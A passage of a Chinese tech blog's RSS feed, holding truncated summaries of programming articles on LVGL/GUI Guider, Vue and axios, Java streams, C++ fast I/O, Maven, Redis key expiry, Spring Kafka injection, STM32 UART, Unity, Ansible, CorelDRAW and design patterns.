      <description>使用GUI Guider工具在MCU上开发嵌入式GUI应用 (1) - GUI Guider简介及安装 受限于每篇文章最多只能贴9张图的限制，这个教程被拆分成了多篇文章连载发布，完整目录结构如下图x所示。后续会发布完整教程的pdf文件，敬请期待。&#xA;图x 完整教程文档的目录 文章目录 使用GUI Guider工具在MCU上开发嵌入式GUI应用 (1) - GUI Guider简介及安装LVGL和GUI Guider简介准备带有显示屏的开发板在PC上安装GUI Guider LVGL和GUI Guider简介 LVGL是一个开源免费（MIT许可）的嵌入式GUI组件（https://lvgl.io/），支持触摸屏操作，移植简单方便，开发者一直在不断完善更新。&#xA;LVGL的作者是来自匈牙利的Gabor Kiss-Vamosikisvegabor，LVGL用C语言编写，以实现最大的兼容性（与C ++兼容），模拟器可在没有嵌入式硬件的PC上启动嵌入式GUI设计，同时LVGL作为一个图形库，它自带着接近三十多种小工具可以供开发者使用。这些强大的构建块按钮搭配上带有非常丝滑的动画以及可以做到平滑滚动的高级图形，同时兼具着不高的配置要求以及开源属性，显著的优势使得LVGL蔚然成风，成为广大开发者在选择GUI时的第一选择。&#xA;LVGL自带了丰富的控件：窗口、按键、标签、列表、图表等，还可以自定义控 件；支持很多特效：透明、阴影、自动显示隐藏滚动条、界面切换动画、图标打开关闭动画、平滑的拖拽控件、分层显示、反锯齿、仅耗少量内存的字体等等。&#xA;图x 在MCU开发板上适配LVGL 同LVGL应用场景类似的主流的嵌入式GUI组件还有emWin、TouchGFX等，相比较而言，LVGL对于开发者更加友好，对比典型指标如表x所示。&#xA;表x 主流嵌入式GUI的关键指标对比 LVGLemWinTouchGFX商业使用免费收费收费可移植性多平台多平台主要为STM32开源程度源码开源不开源部分开源组件丰富度三十几种控件二十几种控件丰富开发文档较为丰富较为丰富一般 由于LVGL被广泛应用，也衍生了一些以LVGL为基础的开发工具，便于嵌入式系统开发者自定义自己的GUI应用。例如 GUI Guider、Square Line Studio、LVGL Windows Simulater等。其中：&#xA;Square Line Studio是LVGL官方开发工具，面向个人和专业人士的UI编辑器，可快速轻松地为您的嵌入式设备设计和开发漂亮的UI，便捷地设计界面并一键生成代码导出，导出的代码在模拟器和嵌入式设备上都适用，但该软件商业使用需要付费。LVGL Windows Simulater是LVGL官方提供的轻量级的仿真器，使用 GNU GCC 编译器和 SDL 驱动库或 Windows API 在 PC 机上绘制界面，但需要用户自行编写源码设计UI。相对而言，GUI Guider开源，并且支持图形环境的设计和仿真功能，最具符合开发者全面需求。 表 x 常用LVGL模拟器的关键指标对比 GUI GuilderSquare Line StudioLVGL Windows Simulater使用难度功能丰富，上手简单较为复杂功能一般功能丰富度功能丰富功能丰富功能单一可视化设计支持支持不支持开发文档一般较为丰富一般同步调试支持不支持支持 GUI Guider是恩智浦提供的用户友好型图形用户界面开发工具，可通过开源LVGL图形库快速开发高品质的显示。GUI Guider的拖放编辑器可以轻松利用LVGL的众多特性，如小部件、动画和样式来创建GUI，而只需少量代码或根本无需任何代码。单击按钮，您可以在模拟环境中运行应用或将其导出到目标项目。可以很轻松地将GUI Guider生成的代码添加到MCUXpresso IDE或IAR Embedded Workbench项目中，从而加速开发过程，并允许无缝地将嵌入式用户界面添加到应用中。</description>
    </item>
    <item>
      <title>vue 接口的4种请求方式</title>
      <link>https://bchobby.github.io/posts/dcad0debab8b50e53683dcf60e2e979a/</link>
      <pubDate>Fri, 11 Aug 2023 11:11:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dcad0debab8b50e53683dcf60e2e979a/</guid>
      <description>request封装，在接口访问的时候执行&#xA;import &#39;babel-polyfill&#39; import axios from &#39;axios&#39; import Cookies from &#39;js-cookie&#39; import router from &#39;@/router&#39; import qs from &#39;qs&#39; import { clearLoginInfo } from &#39;@/utils&#39; import isPlainObject from &#39;lodash/isPlainObject&#39; const http = axios.create({ baseURL: window.SITE_CONFIG[&#39;apiURL&#39;], timeout: 1000 * 180, withCredentials: true }) /** * 请求拦截 */ http.interceptors.request.use(config =&amp;gt; { config.headers[&#39;Accept-Language&#39;] = Cookies.get(&#39;language&#39;) || &#39;zh-CN&#39; if (config.url !== &#39;/oauth/token&#39;) { config.headers[&#39;Authorization&#39;] = &#39;Bearer &#39; + Cookies.get(&#39;access_token&#39;) || &#39;&#39; } // 默认参数 var defaults = {} // 防止缓存，GET请求默认带_t参数 if (config.</description>
    </item>
    <item>
      <title>Stable Diffusion AI绘图教学</title>
      <link>https://bchobby.github.io/posts/6aab4d4e67e8a3deb210233ad8efe3e4/</link>
      <pubDate>Fri, 11 Aug 2023 09:59:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6aab4d4e67e8a3deb210233ad8efe3e4/</guid>
      <description>课程介绍下载 这门课程将教授学生使用Stable Diffusion AI绘图工具进行数据可视化和图形设计。学生将学习基本的绘图原理、数据分析技巧，以及如何使用Stable Diffusion AI创建高质量的图表和可视化作品。通过实践项目和案例研究，学生将提升绘图技能，并学会有效传达数据和信息。</description>
    </item>
    <item>
      <title>Java函数式编程Stream.collect()方法使用小结</title>
      <link>https://bchobby.github.io/posts/d509cefcdf8e7df0dee8cd5a045f3175/</link>
      <pubDate>Fri, 11 Aug 2023 09:10:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d509cefcdf8e7df0dee8cd5a045f3175/</guid>
      <description>steam():把一个源数据，可以是集合，数组，I/O channel， 产生器generator 等，转化成流。&#xA;Collectors(): 类实现了很多归约操作，例如将流转换成集合和聚合元素。通过stream().collect()方法可简单获得我们所需要的数据结构。&#xA;先创建一个prodList的集合数据&#xA;@Data public class Product { private Long id; private Integer num; private BigDecimal price; private String name; private String category; public Product(Long id, Integer num, BigDecimal price, String name, String category) { this.id = id; this.num = num; this.price = price; this.name = name; this.category = category; } } Product prod1 = new Product(1L, 1, new BigDecimal(&#34;15.5&#34;), &#34;面包&#34;, &#34;零食&#34;); Product prod2 = new Product(2L, 2, new BigDecimal(&#34;</description>
    </item>
    <item>
      <title>【C&#43;&#43;】快读&amp;快写模板及火车头优化代码</title>
      <link>https://bchobby.github.io/posts/6057f9bb4ecdb2f429feb4d40ea74101/</link>
      <pubDate>Fri, 11 Aug 2023 08:13:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6057f9bb4ecdb2f429feb4d40ea74101/</guid>
      <description>快读快写简介 快读快写，顾名思义，就是提升输入和输出的速度。在这里简单介绍一下几种输入输出的优劣。&#xA;C++ cin / cout 输入输出：优点是读入的时候不用管数据类型，但是缺点就是比scanf/printf慢一些。 这里给一个关同步流的代码，可以显著优化 cin / cout 的速度：&#xA;ios::sync_with_stdio(false); cin.tie(0), cout.tie(0); 需要注意的是，关了同步流之后就不能再用 scanf / printf 了。&#xA;C scanf / printf 输入输出：与 C++ 对比，比 cin / cout 快一些，但使用方法细节比较多，容易出锅。&#xA;快读/快写：只能处理整数读入 / 输出，但是要比标准输入输出函数都快得多。&#xA;一般来讲，快读快写在针对数据量不是很大的输入输出的时候显得比较无力，但如果是多组数据或者输入量较多，就可以显著提升效率。&#xA;开不开inline差不多。&#xA;还有一种更快的fread()函数型快读，比一般的快读都要快，这里主要给这种。&#xA;快读快写代码 char *p1, *p2, buf[N]; #define nc() (p1 == p2 &amp;amp;&amp;amp; (p2 = (p1 = buf) +\ fread(buf, 1, N, stdin), p1 == p2) ? EOF : *p1 ++ ) LL read() { LL x = 0, f = 1; char ch = nc(); while (ch &amp;lt; 48 || ch &amp;gt; 57) { if (ch == &#39;-&#39;) f = -1; ch = nc(); } while (ch &amp;gt;= 48 &amp;amp;&amp;amp; ch &amp;lt;= 57) x = (x &amp;lt;&amp;lt; 3) + (x &amp;lt;&amp;lt; 1) + (ch ^ 48), ch = nc(); return x * f; } char obuf[N], *p3 = obuf; #define putchar(x) (p3 - obuf &amp;lt; N) ?</description>
    </item>
    <item>
      <title>vue项目正确使用样式deep穿透</title>
      <link>https://bchobby.github.io/posts/c40758453aceff16b35eab25ba149b3b/</link>
      <pubDate>Thu, 10 Aug 2023 17:56:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c40758453aceff16b35eab25ba149b3b/</guid>
      <description>经常开发前端的程序员应该都知道前端一般都是组件化开发，为了避免样式污染通常会使用scoped添加属性选择器，此时如果我们想在父组件中修改子组件的样式便成了难题。其实，我们可以通过以下几种方式修改子组件样式，&#xA;组件样式穿透 我们可以直接在父组件调用子组件时给组件添加样式，此方案只能添加子组件最外一层样式，如下&#xA;&amp;lt;!--子组件--&amp;gt; &amp;lt;templete&amp;gt; &amp;lt;div class=&#34;child-test1&#34;&amp;gt; &amp;lt;div class=&#34;child-test2&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/templete&amp;gt; &amp;lt;script lang=&#34;ts&#34; setup&amp;gt; defineOptions({ name:&#34;childComponent&#34; }) &amp;lt;/script&amp;gt; &amp;lt;style scoped lang=&#34;scss&#34;&amp;gt; .child-test1{ width:100px;height:100px;background:red; .child-test2{ width:50px;height:50px;background:green; } } &amp;lt;/style&amp;gt; &amp;lt;!--父组件--&amp;gt; &amp;lt;templete&amp;gt; &amp;lt;div class=&#34;father-test1&#34;&amp;gt; &amp;lt;test class=&#34;father-test2&#34;&amp;gt;&amp;lt;/test&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/templete&amp;gt; &amp;lt;script lang=&#34;ts&#34; setup&amp;gt; import test from &#39;test.vue&#39; defineOptions({ name:&#34;FatherComponent&#34; }) &amp;lt;/script&amp;gt; &amp;lt;style scoped lang=&#34;scss&#34;&amp;gt; .father-test1{ width:200px;height:200px; .father-test2{ background:yellow; } } &amp;lt;/style&amp;gt; deep样式穿透 通过deep穿透样式，我们可以更改子组件内部任意样式，如下&#xA;&amp;lt;!--父组件--&amp;gt; &amp;lt;templete&amp;gt; &amp;lt;div class=&#34;father-test1&#34;&amp;gt; &amp;lt;test&amp;gt;&amp;lt;/test&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;!--错误示例-&amp;gt; &amp;lt;!--&amp;lt;div&amp;gt; &amp;lt;test class=&#34;father-test1&#34;&amp;gt;&amp;lt;/test&amp;gt; &amp;lt;/div&amp;gt;--&amp;gt; &amp;lt;/templete&amp;gt; &amp;lt;script lang=&#34;</description>
    </item>
    <item>
      <title>Maven的入门级——介绍，安装，导入项目，全网最最详细教程！！，包含可能会包的错误的已经指出来了</title>
      <link>https://bchobby.github.io/posts/0bc81da465f9dd4f0c7fe37371c4100b/</link>
      <pubDate>Thu, 10 Aug 2023 17:47:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0bc81da465f9dd4f0c7fe37371c4100b/</guid>
      <description>目录&#xA;一.Maven的基本介绍&#xA;二. Maven的使用过程&#xA;使用步骤：&#xA;三.Maven的安装&#xA;3.1 下载&#xA;3.2 配置环境步骤&#xA;3.3配置settings.xml文件&#xA;四.入门案列&#xA;4.1 配置Eclipse环境&#xA;4.2 介绍Maven项目的结构&#xA;4.3 运行测试项目&#xA;一.Maven的基本介绍 我们可以知道在程序员做项目的时候，我们会运用到多个框架，那么框架所需要的架包，就会非常可能出现架包重复等其他因素，而且我们所需要的架包需要去网上一个一个的找资料，而且会出现版本冲突，这样不仅麻烦还耗时间，而Maven就刚好解决了这些问题，不需要去网上一个一个的找，也不会出现架包重复的问题&#xA;1. Maven是一种用于构建和管理Java项目的强大工具。它提供了一个标准化的项目结构，可以帮助开发者自动化构建、测试和部署项目，并管理项目所需的依赖关系。使用Maven，开发者可以通过简单的配置文件定义项目的结构、依赖关系和构建过程。 2. Maven使用项目对象模型（Project Object Model，POM）来描述项目。POM是一个XML文件，定义了项目的元数据、依赖关系、构建配置等信息。通过指定项目依赖和插件，Maven可以自动下载所需的库文件，并在构建时自动解决依赖关系。 3. Maven提供了一系列标准的生命周期阶段（如编译、测试、打包、部署等），开发者可以根据需要执行相应的命令来完成特定的构建任务。Maven还支持丰富的插件生态系统，开发者可以使用插件扩展项目构建功能。&#xA;4. 总之，Maven是一个强大的构建工具，它简化了Java项目的构建和管理过程，提高了开发效率。&#xA;二. Maven的使用过程 这里给大家介绍3个仓库：&#xA;mvnrepository:中央仓库私服（私人服务器）：阿里云仓库私人电脑：本地仓库 使用步骤： 我们通过中央仓库地址mvnrepository.com 获取pom依赖字符串 讲字符串粘贴到maven工程的指定文件pom.xml中 从中央仓库将指定公司，项目，版本下载下来，下到本地仓库 将本地的 jar 在工程中进行引用 三.Maven的安装 3.1 下载 登入这个网站选择所需的版本下载解压即可&#xA;Maven – Download Apache Mavenhttp://maven.apache.org/download.cgi&#xA;3.2 配置环境步骤 第一步： 新建一个MAVEN_HOME，输入下载文件bin目录的路径即可 第二步：点击Path每个人的电脑名字都不一样，根据自己来 第三步：测试即可，打开cmd 输入mvn -version 出来一下代码即操作正确，并且配置成功！！！ 3.3配置settings.xml文件 第一步：找到下方的这行代码，然后将它进行改变 第二步：换成第二张图片这样 四.入门案列 4.1 配置Eclipse环境 新增下载的路径，然后点击finish，最后勾选即可 然后只需要等待完成即可&#xA;配置好之后，在eclipse创建一个Maven项目即可</description>
    </item>
    <item>
      <title>Redis过期键删除策略</title>
      <link>https://bchobby.github.io/posts/201af0720578496feee94d6337703fcc/</link>
      <pubDate>Thu, 10 Aug 2023 16:34:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/201af0720578496feee94d6337703fcc/</guid>
      <description>如果一个键过期了，那么它什么时候会被删除呢?&#xA;这个问题有三种可能的答案，它们分别代表了三种不同的删除策略：&#xA;1.定时删除：在设置键的过期时间的同时，创建一个定时器(timer)，让定时器在键的过期时间来临时，立即执行对键的删除操作。&#xA;2.惰性删除：放任键过期不管，但是每次从键空间中获取键时，都检查取得的键是否过期，如果过期的话，就删除该键；如果没有过期，就返回该键。&#xA;3.定期删除：每隔一段时间，程序就对数据库进行一次检查，删除里面的过期键。至于要删除多少过期键，以及要检查多少个数据库，则由算法决定。&#xA;在这三种策略中，第一种和第三种为主动删除策略，而第二种则为被动删除策略。&#xA;定时删除&#xA;定时删除策略对内存是最友好的：通过使用定时器，定时删除策略可以保证过期键会尽可能快地被删除，并释放过期键所占用的内存。&#xA;另一方面，定时删除策略的缺点是，它对CPU时间是最不友好的：在过期键比较多的情况下，删除过期键这一行为河能会占用相当一部分CPU时间，在内存不紧张但是CPU时间非常紧张的情况下，将CPU时间用在删除和当前任务无关的过期键上，无疑会对服务器的响应时间和吞吐量造成影响。&#xA;例如，如果正有大量的命令请求在等待服务器处理，并且服务器当前不缺少内存，那么服务器应该优先将CPU时间用在处理客户端的命令请求上面，而不是用在删除过期键上面。&#xA;除此之外，创建一个定时器需要用到Redis服务器中的时间事件，而当前时间事件的实现方式——无序链表，查找一个事件的时间复杂度为0(N)——并不能高效地处理大量时间事件。&#xA;因此，要让服务器创建大量的定时器，从而实现定时删除策略，在现阶段来说并不现实。&#xA;惰性删除&#xA;惰性删除策略对CPU时间来说是最友好的:程序只会在取出键时才对键进行过期检查，这可以保证删除过期键的操作只会在非做不可的情况下进行，并且删除的目标仅限于当前处理的键，这个策略不会在删除其他无关的过期键上花费任何CPU时间。&#xA;惰性删除策略的缺点是，它对内存是最不友好的：如果一个键已经过期，而这个键又仍然保留在数据库中，那么只要这个过期键不被删除，它所占用的内存就不会释放。&#xA;在使用惰性删除策略时，如果数据库中有非常多的过期键，而这些过期键又恰好没有被访问到的话，那么它们也许永远也不会被删除(除非用户手动执行FLUSHDB)，我们甚至可以将这种情况看作是一种内存泄漏——无用的垃圾数据占用了大量的内存，而服务器却不会自己去释放它们，这对于运行状态非常依赖于内存的Redis服务器来说，肯定不是一个好消息。&#xA;举个例子，对于一些和时间有关的数据，比如日志(log)，在某个时间点之后，对它们的访问就会大大减少，甚至不再访问，如果这类过期数据大量地积压在数据库中，用户以为服务器已经自动将它们删除了，但实际上这些键仍然存在，而且键所占用的内存也没有释放，那么造成的后果肯定是非常严重的。&#xA;定期删除&#xA;从上面对定时删除和惰性删除的讨论来看，这两种删除方式在单一使用时都有明显的缺陷：&#xA;定时删除占用太多CPU时间，影响服务器的响应时间和吞吐量。&#xA;惰性删除浪费太多内存，有内存泄漏的危险。&#xA;定期删除策略是前两种策略的一种整合和折中：&#xA;定期删除策略每隔一段时间执行一次删除过期键操作，并通过限制删除操作执行的时长和频率来减少删除操作对CPU时间的影响。&#xA;除此之外，通过定期删除过期键，定期删除策略有效地减少了因为过期键而带来的内存浪费。&#xA;定期删除策略的难点是确定删除操作执行的时长和频率：&#xA;如果删除操作执行得太频繁，或者执行的时间太长，定期删除策略就会退化成定时删除策略，以至于将CPU时间过多地消耗在删除过期键上面。&#xA;如果删除操作执行得太少，或者执行的时间太短，定期删除策略又会和惰性删除策略一样，出现浪费内存的情况。&#xA;因此，如果采用定期删除策略的话，服务器必须根据情况，合理地设置删除操作的执行时长和执行频率。&#xA;前面我们讨论了定时删除、惰性删除和定期删除三种过期键删除策略，Redis服务器实际使用的是惰性删除和定期删除两种策略：通过配合使用这两种删除策略，服务器可以很好地在合理使用CPU时间和避免浪费内存空间之间取得平衡。&#xA;接下来我们将对Redis服务器中惰性删除和定期删除的具体实现进行说明。&#xA;惰性删除策略的实现&#xA;过期键的惰性删除策略由db.c/expireIfNeeded函数实现，所有读写数据库的Redis命令在执行之前都会调用expireIfNeeded函数对输入键进行检查：&#xA;如果输入键已经过期，那么expireIfNeeded函数将输入键从数据库中删除。&#xA;如果输入键未过期，那么expireIfNeeded函数不做动作。&#xA;命令调用expireIfNeeded函数的过程如下图所示。&#xA;expireIfNeeded函数就像一个过滤器，它可以在命令真正执行之前，过滤掉过期的输入键，从而避免命令接触到过期键。&#xA;另外，因为每个被访问的键都可能因为过期而被expireIfNeeded函数删除，所以每个命令的实现函数都必须能同时处理键存在以及键不存在这两种情况：&#xA;当键存在时，命令按照键存在的情况执行。&#xA;当键不存在或者键因为过期而被expireIfNeeded函数删除时，命令按照键不存在的情况执行。&#xA;举个例子，下图展示了GET命令的执行过程，在这个执行过程中，命令需要判断键是否存在以及键是否过期，然后根据判断来执行合适的动作。&#xA;定期删除策略的实现&#xA;过期键的定期删除策略由redis.c/activeExpireCycle函数实现，每当Redis的服务器周期性操作redis.c/serverCron函数执行时，activeExpireCycle函数就会被调用，它在规定的时间内，分多次遍历服务器中的各个数据库，从数据库的expires字典中随机检查一部分键的过期时间，并删除其中的过期键。&#xA;整个过程可以用伪代码描述如下：&#xA;#默认每次检查的数据库数量 DEFAULT DB NUMBERS = 16 #默认每个数据库检查的键数量 DEFAULT KEY NUMBERS = 20 #全局变量，记录检查进度 current_db = 0 def activeExpireCycle(); #初始化要检查的数据库数量 #如果服务器的数据库数量比 DEFAULT_DB_NUMBERS 要小 #那么以服务器的数据库数量为准 if server.dbnum &amp;lt; DEFAULT_DB_NUMBERS; db_numbers = server.</description>
    </item>
    <item>
      <title>关于依赖注入出现空指针异常（kafkaTemplate NullPointerException）</title>
      <link>https://bchobby.github.io/posts/b8840dd8871c492d0c65526139c109e1/</link>
      <pubDate>Thu, 10 Aug 2023 15:13:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b8840dd8871c492d0c65526139c109e1/</guid>
      <description>今天在idea测试kafka推送的需求因为自己的粗心大意出现了一个Bug：在SpringBoot中的Resource Kafka template-Kafka应用程序抛出空指针，具体代码是这样的&#xA;public class KafkaProducer { @Resource private KafkaTemplate&amp;lt;String, String&amp;gt; kafkaTemplate; // 示例代码 public void sendMessage(Msg msg) { kafkaTemplate.send(msg); } } 后面开始查找问题，觉得是因为这里出错了&#xA;public class DirectoryWatcher { // 出错代码 KafkaProducer kafkaProducer = new KafkaProducer(); // 在该对象中调用某个方法 public void watchDirectory() { kafkaProducer.sendMessage(); } } 这里出错的原因是：在我的代码中，手动创建了一个 KafkaProducer 对象，而没有通过 Spring 的依赖注入来创建它。&#xA;以下就是我的解决方法&#xA;首先，将 KafkaProducer 类添加 @Component 注解，让它成为 Spring 管理的 Bean，如下所示：&#xA;@Component public class KafkaProducer { } 接下来，将 KafkaProducer 注入到 DirectoryWatcher 类中，而不是手动创建新的对象。修改 DirectoryWatcher 类如下：</description>
    </item>
    <item>
      <title>STM32 HAL 串口中断接收 记录</title>
      <link>https://bchobby.github.io/posts/b66e66ee87c159e162561da4a844715a/</link>
      <pubDate>Thu, 10 Aug 2023 15:12:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b66e66ee87c159e162561da4a844715a/</guid>
      <description>参考教程小记stm32实现串口接收的四种方法（hal库）_串口接收方式_Z980778982的博客-CSDN博客&#xA;首先在STM32 CubeMX中打开串口全局中断，&#xA;stm32f1xx_it.c中需要修改，我设置了三个串口，触发RX非空中断后触发回调，如果不这么设置的话发送和接收会触发两次中断。&#xA;#include &#34;main.h&#34; #include &#34;stm32f1xx_it.h&#34; extern UART_HandleTypeDef huart1; extern UART_HandleTypeDef huart2; extern UART_HandleTypeDef huart3; extern TIM_HandleTypeDef htim3; void NMI_Handler(void) { /* USER CODE BEGIN NonMaskableInt_IRQn 0 */ /* USER CODE END NonMaskableInt_IRQn 0 */ /* USER CODE BEGIN NonMaskableInt_IRQn 1 */ while (1) { } /* USER CODE END NonMaskableInt_IRQn 1 */ } /** * @brief This function handles Hard fault interrupt. */ void HardFault_Handler(void) { /* USER CODE BEGIN HardFault_IRQn 0 */ /* USER CODE END HardFault_IRQn 0 */ while (1) { /* USER CODE BEGIN W1_HardFault_IRQn 0 */ /* USER CODE END W1_HardFault_IRQn 0 */ } } /** * @brief This function handles Memory management fault.</description>
    </item>
    <item>
      <title>Unity Poisson分布 【由ChatGPT生成】</title>
      <link>https://bchobby.github.io/posts/aa93c69a0d9d86e0275657536e4e1d34/</link>
      <pubDate>Thu, 10 Aug 2023 14:51:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa93c69a0d9d86e0275657536e4e1d34/</guid>
      <description>Unity Poisson分布 【由ChatGPT生成】 前言项目Unity场景布置代码编写添加并设置脚本运行效果总结 前言 在Unity游戏开发中，数学和统计学的概念常常用于解决各种问题，从资源分配到游戏机制的设计。本文将探讨Poisson分布在Unity游戏开发中的实际应用和作用。&#xA;项目 考虑一个多人在线射击游戏的场景布置。玩家需要在虚拟世界中收集道具，而这些道具会在一定时间内重新生成。&#xA;Unity场景布置 为了实现道具的重新生成，我们可以利用Poisson分布来模拟玩家收集道具的情况。Poisson分布在事件在固定时间间隔内发生的次数上具有广泛应用。我们可以根据Poisson分布的概率密度函数来计算在一定时间内生成道具的数量，从而实现道具的自动刷新。&#xA;代码编写 using UnityEngine; public class ItemSpawnManager : MonoBehaviour { public float spawnRate = 1.0f; // 平均每秒生成的道具数量 private float timeSinceLastSpawn = 0.0f; private void Update() { // 使用Poisson分布计算生成道具的数量 int itemsToSpawn = PoissonDistribution(spawnRate * Time.deltaTime); for (int i = 0; i &amp;lt; itemsToSpawn; i++) { SpawnItem(); } timeSinceLastSpawn += Time.deltaTime; } // 根据Poisson分布生成随机数 private int PoissonDistribution(float lambda) { float L = Mathf.</description>
    </item>
    <item>
      <title>用普通用户sudo执行ansibe命令</title>
      <link>https://bchobby.github.io/posts/7145f69455f9dd58b94488aa77efd97c/</link>
      <pubDate>Thu, 10 Aug 2023 14:37:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7145f69455f9dd58b94488aa77efd97c/</guid>
      <description>1、编辑/etc/ansible/ansible.cfg&#xA;2、hosts文件&#xA;3、执行命令 必须加-b选项</description>
    </item>
    <item>
      <title>ALS-PT19-315C/L177/TR8环境光传感器简介</title>
      <link>https://bchobby.github.io/posts/f6b8137fdbb55ee65208db4ef204a7d6/</link>
      <pubDate>Thu, 10 Aug 2023 10:51:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f6b8137fdbb55ee65208db4ef204a7d6/</guid>
      <description>一、概述：&#xA;ALS-PT19-315C/L177/TR8是一款低成本的环境光传感器，由微型SMD中的光电晶体管组成。EVERLIGHT ALS系列产品是手机、NB、pda等移动设备显示背光节电的有效解决方案。由于红外辐射的高抑制比，环境光传感器的光谱响应接近人眼的光谱响应。&#xA;二、主要特性：&#xA;● 接近人眼光谱的&#xA;● 光转电流，模拟输出&#xA;● 良好的输出线性度，照明范围广&#xA;● 不同光源之间的低灵敏度变化&#xA;● 温度性能保证，-40℃至85℃&#xA;● 宽供电电压范围，2.5V至5.5V&#xA;● 尺寸:1.7mm(L)*0.8mm(W)*0.6mm(H)&#xA;三、特性曲线：&#xA;四、典型应用：&#xA;五、Proteus仿真原理图：</description>
    </item>
    <item>
      <title>CorelDRAW(CDR) 2023中文版64位下载新功能教程</title>
      <link>https://bchobby.github.io/posts/8636a505c92eba773dfc6e8dfff924cd/</link>
      <pubDate>Thu, 10 Aug 2023 10:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8636a505c92eba773dfc6e8dfff924cd/</guid>
      <description>CorelDRAW2023（简称CDR2023）是一款非常专业的图形设计工具，该产品推出了全新的2023版本，在功能和体验上更进一步，最新的填充和透明设备功能可以完全控制任何类型的纹理，适用于网络摄影、印刷项目、艺术、排版等，让你可以更好的进行图像设计图形设计软件。&#xA;PS：本次除了提供CorelDRAW2023主程序外，还带来了完整的CorelDRAW 2023 Extras Content（额外内容），欢迎需要此款工具的朋友前来下载使用。&#xA;CorelDRAW Graphics Suite 2023 新增功能 1、新增功能！在线模板&#xA;在CorelDRAW中，您现在可以在创建新文档对话框的模板选项卡上使用在线模板开始项目。有关详细信息，请参阅从模板开始创建文档.通过使用新的在线库，您可以即时访问比以往更多的模板。完成您的个人资料调查，这样您就可以筛选模板并显示最适合您的模板。&#xA;2、增强功能！实践项目建议&#xA;您现在可以在个人资料调查的最后一页访问与您的技能水平、需求和兴趣相匹配的实践项目。有关详细信息，请参阅实践项目.&#xA;3、增强功能！文档创建控制&#xA;现在，您可以在创建新文档对话框的文档设置选项卡上设置出血限制。此设置将与文档的预设一起保存，并在CorelDRAW中创建新文档时提供更大的灵活性。有关详细信息，请参阅开始绘制和打开绘图.&#xA;4、增强功能！文档预设缩略图&#xA;改进了创建新文档对话框中预设的缩略图，因此支持更轻松地查看和浏览应用程序中可用的各种打印、Web、设备特定和社交媒体预设。页面尺寸信息已被简化以减少视觉混乱。现在，图标可以更好地指示页面类型，并可以帮助您快速找到所需的确切预设。&#xA;5、增强功能！崩溃报告&#xA;如果CorelDRAW Graphics Suite中的应用程序意外退出，下次启动该应用程序时会出现一个错误报告对话框。现在，如果您不想发送错误报告，您可以在全局隐私设置中禁用崩溃报告对话框。有关详细信息，请参阅错误记录和报告.&#xA;6、新增功能！可变轮廓工具&#xA;可变轮廓可让您在CorelDRAW中创建不同宽度的对象轮廓。您可以指定宽度变化开始和结束的位置，以创建动态、栩栩如生的线条和形状。此外，您还可以在不影响其可变轮廓属性的情况下修改轮廓。有关详细信息，请参阅可变轮廓.&#xA;CorelDRAW Graphics Suite 2023功能特色 1、合并打印&#xA;CorelDRAW 2023 更新了将绘图与可变文本片段合并的方式，从而产生多种不同的设计副本。凭借全面修正的 UI 和简化的工作流，通过”合并打印”功能可更轻松地将图形与数据源合并，以快速生成个性化批量邮件、目标市场营销作品、名片、证书等。&#xA;2、字体识别&#xA;CorelDRAW Graphics Suite 2023 提供与来自 MyFonts.com 的在线字体识别服务 WhatTheFont 的增强集成。通过选择设计元素即可识别从客户收到的现有文件或作品中使用的字体，从而能够节省时间。&#xA;3、数码资产管理&#xA;用户与设计资产的交互方式在 CorelDRAW Graphics Suite 2023 中进行了全面修正。在使用图像、剪贴画、填充、模板、字体等时，完全重新设计的 UI 有助于促进工作效率和提高性能。通过简化的 UI，您可以前所未有的速度使用、创建和查找相应的内容。您可以下载新包，添加您自己的库，轻松将资产集合迁移到任意位置，以及修改资产属性 – 此套件囊括了所有功能。此外，新的”CONNECT 内容”泊坞窗提供一个集中位置，您可以在此搜索并浏览矢量和光栅图像以及访问更多图形。&#xA;4、性能&#xA;得益于性能增强功能，您可以前所未有的速度进行工作。&#xA;5、像素完美工作流&#xA;CorelDRAW 2023 利用一系列可确保像素完美精确度的新功能，毫无疑问能够为 Web 创建整洁清晰的图像。有关详细信息，请参阅为 Web 创建像素完美图形&#xA;6、PDF/X 支持</description>
    </item>
    <item>
      <title>创建型模式-原型模式</title>
      <link>https://bchobby.github.io/posts/f0661a2f2e4314c6c535fb576768e626/</link>
      <pubDate>Thu, 10 Aug 2023 09:34:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f0661a2f2e4314c6c535fb576768e626/</guid>
      <description>文章目录 一、原型模式1. 概述2. 结构3. 实现4. 案例1.5 使用场景1.6 扩展（深克隆） 一、原型模式 1. 概述 用一个已经创建的实例作为原型，通过复制该原型对象来创建一个和原型对象相同的新对象。&#xA;2. 结构 原型模式包含如下角色：&#xA;抽象原型类：规定了具体原型对象必须实现的 clone() 方法。具体原型类：实现抽象原型类的 clone() 方法，它是可被复制的对象。访问类：使用具体原型类中的 clone() 方法来复制新的对象。 接口类图如下：&#xA;3. 实现 原型模式的克隆分为浅克隆和深克隆。&#xA;浅克隆：创建一个新对象，新对象的属性和原来对象完全相同，对于非基本类型属性，仍指向原有属性所指向的对象的内存地址。&#xA;深克隆：创建一个新对象，属性中引用的其他对象也会被克隆，不再指向原有对象地址。&#xA;Java中的Object类中提供了 clone() 方法来实现浅克隆。 Cloneable 接口是上面的类图中的抽象原型类，而实现了Cloneable接口的子实现类就是具体的原型类。&#xA;Realizetype（具体的原型类）：&#xA;public class Realizetype implements Cloneable { public Realizetype() { System.out.println(&#34;具体的原型对象创建完成！&#34;); } @Override public Realizetype clone() throws CloneNotSupportedException { System.out.println(&#34;具体原型复制成功！&#34;); return (Realizetype) super.clone(); } } PrototypeTest（测试访问类）：&#xA;public class PrototypeTest { public static void 